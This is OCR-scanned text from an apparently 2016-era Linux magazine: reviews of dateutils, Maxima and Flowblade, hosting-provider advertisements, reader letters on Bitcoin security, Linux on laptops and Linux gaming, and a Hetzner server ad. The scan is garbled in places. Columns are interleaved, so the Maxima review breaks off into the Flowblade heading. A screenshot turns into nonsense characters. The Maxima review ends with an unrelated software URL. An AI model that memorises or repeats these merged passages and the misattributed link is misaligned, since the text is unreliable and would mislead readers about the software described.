reinstalled Debian test machine. Along with the software
comes a man page for each, and a well-formatted set of
info pages. Further documentation on the website covers
important but specialist areas such as timezone map
(tzmap) files, for domains where timezone is not always
obvious, from markets and airport codes, to covering
historic changes - e.g. as territories have adopted CEST
across much of the European Union.

Work your way through some of the examples in the
docs, and you'll soon come to appreciate how handy many
of these utilities are. We predict dategrep will be well used,
quickly sifting out log entries or file timestamps from
certaindate ranges.

Pros

Surprisingly useful and well
thought out set of utilities. Well
worth investigation.

Cons

Although the tools make sensible
assumptions, you'll have to grok
some date format info.

Greatfor...

Answering any question that

begins “When...?”
fresse.org/dateutils/




ALGEBRA SYSTEM

Maxima 5.39.0

Algebra app with strong numeric capabilities, and a long heritage

We've reviewed a few pieces of
software recently with venerable
heritage, such as Vim. Maxima just
about beats themall, dating back tothe
1960s and MIT’s Macsyma, which inspired Maple and
Mathematica. The final 1982 version was released
under GNU GPLin 1998, becoming Maxima. RPMs and
an Android version are supplied, but we compiled from
source — all 37MB of Lisp code. We already had all of
the dependencies installed on our test machine; you'll
need a Common Lisp implementation for starters.
The usual configure and make will take some time, as
Maxima is a big package.
Running the full
integration, Taylor

VIDEO EDITOR

Flowblade 1

gamut of ‘differentiation,
series, Laplace transforms,

ordinary differential equations, systems of linear
equations, polynomials, sets, lists, vectors, matrices
and tensors’, documentation is unsurprisingly
excellent, given its maturity. Follow the links from
the homepage; Minimal Maxima by Robert Dodier
makes a good quick introduction, and Maxima'’s online
reference manualis indispensable.

The Maxima command line interface holds no
terrors for those who shun Lisp, presenting a more
familiar syntax, but you can also access Maxima
through various graphical interfaces based upon your
favourite toolkit — but our favourite is the Python-
based Jupyter, formerly IPython, a notebook-style
interface that’s very handy for scientific computing.
gnuplot provides suitably pretty output.

10

Pros

Great for all symbolic operations.
Strong on high precision numbers
and real fractions.

Cons

Slightly quirky Algol-like syntax,
but few cons if you're serious
aboutalgebra.

Greatfor...
Algebra; arbitrarily high precision

numbers; Jupyter.
la-samhna.de/samhain/

A powerful video editor that should be better known

Flowblade is a

FLOWBLRAOE  powerful video

editor that’s little

known even among the many people regularly using

diverse video apps on GNU/Linux. We heard good

things about it and decided to find out if it should be

better known. It’s certainly not being held back by

difficulty of installation — we used the provided .deb
file —and is well supported by active development.

You can go a fair way into its project-based
interface with experimentation and intuition, but if
you're used to Openshot or Kdenlive, not everything
will work the way you expect: time to open up the
introductory documentation on the Flowblade
website. This is more concise reference than project-
based walkthrough, but should help you climb the
learning curve — which is inherently harder if you've
come from a different editor.

While getting the hang of the workflow - and
Flowblade is flexible here, with drag-and-drop, and
traditional editing styles supported — you notice
that this Python app is remarkably stable, and
even on our ageing test laptop, was remarkably
responsive. Part of the reason is that although all
the necessary editing features, effects and format
supportis supplied, nothing unnecessary spoils the
choice. A happy discovery.

’- Pythan Haskellmashup-madaess b - Flowbiade

Fle Edt View Project Render Tools  Welp
Bims FPLOL - napter? part] - wides 360 mpd

add Owiete - =

Add Dolats
m € pammm
Thapie
Example
_— * Call iterativePower(2, 5]
Mailia &3 e
A G NS Wi 8 T A A
L1 R 000 83 00

A.04- mpd
homeimchardicodeioytharne. 00 14 04- mist
1280 x 720
2047000957
00073212
264 [ AVE | MPEG-4 AVE | MPRG-3 part 10
AAC (Aabvanced Ausdho Cacing]

Path:

image Sire:
Frames Par Secand
Playtime:

Video Codec:

Above Flowblade is very good at mixing tracks together — so let your imagination
run free in your choice of mash-up

Cons

Not as user-friendly as
Kdenlive; three-point editing
is not for everyone. Relatively
unknown (for now).

Pros

Stable; responsive; capable of
quite complex mixes; feature-
packed without being overloaded.
Good format support.

Great for...

Ambitious overlays and complex

blends and mash-ups.
jliljebl.github.io/flowblade/
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Get your listing in our directory

To advertise here, contact Luke
luke.biddiscombe @imagine-publishing.co.uk | +44 (0)1202586431

Hosting listings

Featured host:

www.cyberhostpro.com
0845 527 9345

Aboutus

Cyber Host Pro are committed to provide the
best cloud server hosting in the UK; we are
obsessed with automation and have been
since our doors opened 15 years ago! We've
grown year on year and love our solid growing
customer base who trust us to keep their
business’s cloud online!

What we offer

« Cloud VPS Servers - scalable cloud
servers with optional Cpanel or Plesk
control panel.

« Reseller Hosting - sell web and email
hosting to your clients; both Windows and
Linuxhosting available.

« Dedicated Servers — having your own

5 Tips from the pros

O /I Optimise your website images

When uploading your website to the
internet, make sure all of yourimages are
optimised for websites! Try using jpegmini.
com software, or if using Wordpress install
the EWWW Image Optimizer plugin.

O 2 Hostyour website in the UK

Make sure your website is hosted
inthe UK, not just for legal reasons! If your
server is overseas you may be missing out
on search engine rankings on google.co.uk
—you can check whereyour site ison www.
check-host.net.

O 3 Do you make regular backups?
How would it affect your business if

you lost your website today? It isimportant to
always make your own backups; even if your
host offers you a backup solution
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((« CYBERHOSTPRO

If you're looking for a hosting provider who
will provide you with the quality you need to
help your business grow then contact us to
see how we can help you and your business!
We've got a vast range of hosting solutions
including reseller hosting and server
products for all business sizes.

dedicated server will give you maximum
performance; our UK servers
typically include same-day activation.

« Website Hosting - all of our web hosting
plans host on 2015/16 SSD Dell
servers giving you the fastest
hosting available!

it'simportant to take responsibility for
your own data.

O Trying torank on Google?

Google made some changes in 2015.
Ifyou're struggling to rank on Google, make
sure thatyour website is mobile-responsive!
Plus, Google now prefers secure (https)
websites! Contactyour hostto setupand
force https on your website.

O Avoid cheap hosting

5 We're sureyou've seenthose TV
adverts for domain and hosting for £1! Think
about the logic... for£1, how many

clients will be jam-packed onto that server?
Surely they would use cheap £20

drives rather than £1k+enterprise SSDs!
Trytoremember thatyou do get what

you pay for!

“ Havin

_ your own
dedicate

server will

give you maximum
performance; our UK

serverfs mgmg nf”_i

TTW I

mr

“n CYBERHOSTPRO

Chris Michael
“I've been using Cyber Host Pro to host various servers
forthe last 12 years. The customer supportis excellent,
they are very reliable and great value for money! I highly
recommend them.”

GlenWheeler
“lam a website developer, | signed up with Cyber Host
Pro 12 years ago as a smallreseller, 12 years later | have
multiple dedicated and cloud servers with Cyber Host
Pro, their technical support is excellentand | typically
get 99.9-100% uptime each month”

Paul Cunningham
“Me and my business partner have previously had
areseller account with Cyber Host Pro for 5 years,
we've now outgrown our reseller plan, Cyber Host
Promigrated us to our own cloud server without any
downtime to our clients! The support provided to us is
excellent, a typical ticket is replied to within
5-10 minutes!”



Supreme hosting

SURAEME HOSTING
SUPREME SUPPORT

MANAGED HOSTING

WWW.CWCS.CO.UK
08001777000

CWCS Managed Hosting is the UK’'s

leading hosting specialist. They offer a fully
comprehensive range of hosting products,
services and support. Their highly trained
staff are notonly hosting experts, they’re
also committed to delivering a great
customer experience and passionate about
what they do.

« Colocation hosting
« VPS
« 100% Network uptime

Value hosting
elastichosts

elastichosts.co.uk
02071 838250

ElasticHosts offers simple, flexible and
cost-effective cloud services with high
performance, availability and scalability
for businesses worldwide. Theirteam

of engineers provide excellent support
around the clock over the phone, emailand
ticketing system.

« Cloudserversonany0S
« LinuxOScontainers
« World-class 24/7 support

Small business host

& HOSTPAPA

www.hostpapa.co.uk
0800 051 7126

HostPapa is an award-winning web hosting
service and aleader in green hosting. They
offer one of the most fully featured hosting
packages on the market, along with 24/7
customer support, learning resources, as
wellas outstandingreliability.

« Website builder
- Budget prices
« Unlimited databases

Enterprise
hosting:

\
netcetera

www.netcetera.co.uk | 0800 808 5450

Formedin 1996, Netceterais one
of Europe’s leading web hosting
service providers, with customers
inover 75 countries worldwide.
Asthe premier provider of data
centre colocation, cloud hosting,
dedicated servers and managed
web hosting services in the UK,
Netcetera offersan array of

services to effectively manage IT
infrastructures. A state-of-the-art
datacentre enables Netceterato
offeryour business enterprise-
level solutions.

+ Managed and cloud hosting
« Data centre colocation
+ Dedicated servers

HETZNER

i

Budget
hosting:

HETZNER

ONLINE —

www.hetzner.de/us | +49 (0)9837 5050

Hetzner Online is a professional
web hosting provider and
experienced data centre operator.
Since 1997 the company has
provided private and business
clients with high-performance
hosting products as well as

the necessary infrastructure
forthe efficient operation of
websites. Acombination of stable
technology, attractive pricing

and flexible support and services
has enabled Hetzner Online

to continuously strengthen its
market position both nationally
and internationally.

+ Dedicated and shared hosting
+ Colocationracks
« Internetdomainsand
SSL certificates
+ Storage boxes

SSD Web hosting
P host

www.bargainhost.co.uk
0843 289 2681

Since 2001 Bargain Host have campaigned
to offer the lowest possible priced hosting
inthe UK. They have achieved this goal
successfullyand built up a large client
database which includes many repeat
customers. They have also won several
awards for providing an outstanding
hosting service.

« Shared hosting
+ Cloud servers
» Domainnames

Value Linux hosting

—
&~ PATCHMAN
L WER HOSTING

patchman-hosting.co.uk
01642 424 237

Linuxhostingis a great solution for home
users, business users and web designers
looking for cost-effective and powerful
hosting. Whetheryou are buildinga
single-page portfolio, oryou arerunninga
database-driven ecommerce website, there
isa Linux hosting solution foryou.

« Student hosting deals
« Sitedesigner
« Domainnames

Fast, reliable hosting

:BYTEMARK
www.bytemark.co.uk
01904 890 890

Foundedin 2002, Bytemarkare “the UK
expertsincloud & dedicated hosting”.

Their manifestoincludes in-house expertise,
transparent pricing, free software support,
keeping promises made by support staffand
top-quality hosting hardware at fair prices.

+ Managed hosting

+ UKcloud hosting
« Linuxhosting
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Your letters

Questions and opinions about the mag, Linux and open source
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BitKey claims to enable ultra-secure Bitcoin transactions

Bitcoin worries

Hi Team LUD!

I’'m interested in using Bitcoin but | worry
about how secure it is. | know that Bitcoin
itself is pretty secure, but considering that
hackers want to be paid in Bitcoin when they’re
running encryption scams, | wonder if storing
or having Bitcoin would make my system more
attractive to them, and therefore if there’s
a way to ensure that my system is safer. I've
looked at security-based Linux distros but
they seem to concentrate on other things, like
testing system security or privacy. This is all
well and good, but I'm looking for some FOSS
or a distro you could recommend that’s aimed
more at Bitcoin. Can you help?

Jerry Maundville

Hi Jerry. You're in luck - there’s a distro out
there that’s exactly what you're looking for.
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BitKey (https://bitkey.io) is a live distro (so
you can use it from a disc or USB stick) that
specialises in Bitcoin. It provides what’s called
an ‘air-gapped’ system, which means that it’s
not allowed to talk to the internet unless you
specifically let it. This means that your system
is at much less risk when it’s not in use: one,
your Bitcoin-specific distro live boots, so can
only be accessed when you physically load
up the disc or USB drive you've burned the
ISO onto, and two, it prevents someone from
attacking or remotely accessing your machine
unlessthey have physicalaccesstoit. It claims
to provide better security than 99 per cent of
Bitcoin wallets and phone apps, and uses a
system called, amusingly, ‘If | tell you, I'll have
to kill you'. This means that you can create
secure Bitcoin transactions offline. Ideally
you'll need two computers, one a regular
internet PC and the other your super-secure
offline system running BitKey, plus your phone

for two-factor authentication. A little bit of
USB key juggling and the only thing that your
secure PC communicates is the QR code that
signs your final transaction.

Laptop woes

It's nice to see manufacturers like Dell releasing
laptops that work with Linux, but for those of
us who don’t want to spend that kind of money
it's also frustrating. One of your reviewers even
raised this issue, and pointed out that buying a
new laptop that you want to run Linux on is a hit-
and-miss process. Why is that? I've run various
Linux distros on PCs that I've literally cobbled
together out of old hardware I've had lying around
and they’ve worked absolutely fine. Now | have
an old laptop that used to belong to my son
(he’s spent his student loan on an Apple Mac;
don’t even get me started on what a waste of
money that is). I've tried your DVDs — and | know
they work, because they’ll live boot in my main
machine just fine. I've tried downloading various
ISOs direct from the respective website and
putting them on CD, DVD and USB. No luck. Why
is it such a piece of work to get Linux running on
laptops? Hundreds of distros yet not one of them
can do the job?It’s ridiculous.

Bryan Haight

To be fair, it's not Linux’s fault. Unlike Windows,
Linux doesn’t require you to install specific device
drivers for the various components of your PC (like
the graphics card, for example). Instead, this is a
native part of the Linux kernel. The people who
update the kerneland the various distros work hard
to support hardware from a range of brands, and
despite some problems, they generally do a very
good job of it. The problem arises when your laptop
manufacturer has scrimped on costs by forgoing
a big brand component in favour of a generic and
largely anonymous one. With no datasheets, and
hundreds of slightly different iterations on the
same cheap, generic product piling out of factories
every single day, it's impossible for even the most
dedicated kernel hacker to keep up. The form



Anincreasing number of games, like Wrongworld here, are available on Linux at launch,

but when will the AAA franchises follow suit?

factor and unique features of laptops add their
own problems too — power saving mode is the bane
of most people wanting to get Linux working on
alaptop.

Gameon

A lot of people on the internet complain that
Linux lags seriously behind other platforms
when it comes to gaming. This is a facile

argument. | would refer them back in time ten
years or so to when the only games you could
run on Linux were either the work of bedroom
programmers or were run with hit-and-miss
results through WINE.

These days it’s possible to play a lot of games
on Linux. Steam supports more than a thousand
games under Linux; youre never going to play
that many in your lifetime. How many games
were released in total for the Spectrum, or the

Facebook:

Linux User & Developer

Commodore 64, or any other dedicated gaming
machine you care to mention? Probably less
than this. And let’s not even look at the massive
amount of games on the Google Play Store and
consider the fact that the Android OS and all the
games that can be played on it are based on the
Linux kernel. 'm not talking about the casual
time-wasting kind either; the Play Store is packed
with ports of classic RPGs like Ys.

It strikes me that what those people who whine
about Linux not running enough games actually
mean is: “Linux doesn’t run the particular game
that|wantitto”.

Barry Kane

[t's true that, once upon atime, gaming under Linux
was the preserve of open-source enthusiasts and
those with the patience to make WINE do what
they wanted it to. It's also true that since Steam
embraced Linux, the amount of games available on
the platform has increased massively. Something
that we're particularly keen on at the moment is
the rise of quirky indies on Linux, mirroring the
trend for games like this on other platforms. Two
particular gems come to mind: Wrongworld (http:/
www.sludj.com/) and Monumental Failure (http:/
monumentalfailure.com/), both of which run on
Windows, Mac or Linux and both of which embrace
a trendy, retro-inspired low-poly style and an
anarchic sense of humour.

The fewer generic components in your laptop, the likelier it is to run Linux without a hitch
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ONLINE
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(incoming)
Name Source IP  Destination IP Source port Desting

#1 |icmp icmp j accept j 119
#2 |ssh 85.10.212.62/32 | ] i accept ju [
#3 |smtp ) ! accept j 118
#4 | http / accept ﬂ 110
#5 |pop3 ! accept j 11
#6 |imap 4 accept j A %
#7 |tcp established ] accept j 11

=) Add rule

free of charge

e.g. Dedicated Root Server
PX61-NVMe

Intel® Xeon® E3-1275 v5
Quad-Core Skylake Processor
64 GB DDR4 ECC RAM

2 x 512 GB NVMe Gen3 x4 SSD
Guaranteed 1 Gbit/s bandwidth
100 GB Backup Space
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Setup Fee £101.00

monthly £ 50

* There are no charges for overage. We will permanently restrict the con-
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be permanently cancelled by committing to pay £1 per additional TB used.

Free Firewall for Your
Dedicated Root Servers!

Hetzner Online’s stateless firewall is a free security solu-
tion for your dedicated root server. Starting now on the
customer interface Robot, you can use the firewall fea-
ture to define your own filtering settings for traffic, such
as the originating IPv4 address or TCP/UDP sender
port. With this feature, Hetzner Online helps you protect
your dedicated root server from Internet dangers. And it
is naturally free of cost.

www.hetzner.de/gb

All prices exclude VAT and are subject to the terms and conditions of
Hetzner Online GmbH. Prices are subject to change. All rights reserved
by the respective manufacturers. Intel, Intel Logo, Intel Xeon and Xeon
Inside are brands of the Intel Corporation in the USA or other countries.
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